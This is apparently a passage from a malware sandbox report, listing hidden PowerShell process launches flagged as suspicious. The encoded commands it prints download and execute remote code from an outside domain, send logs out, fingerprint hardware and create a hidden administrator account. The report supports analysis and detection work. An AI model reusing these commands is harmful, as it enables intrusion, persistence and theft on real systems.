YwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
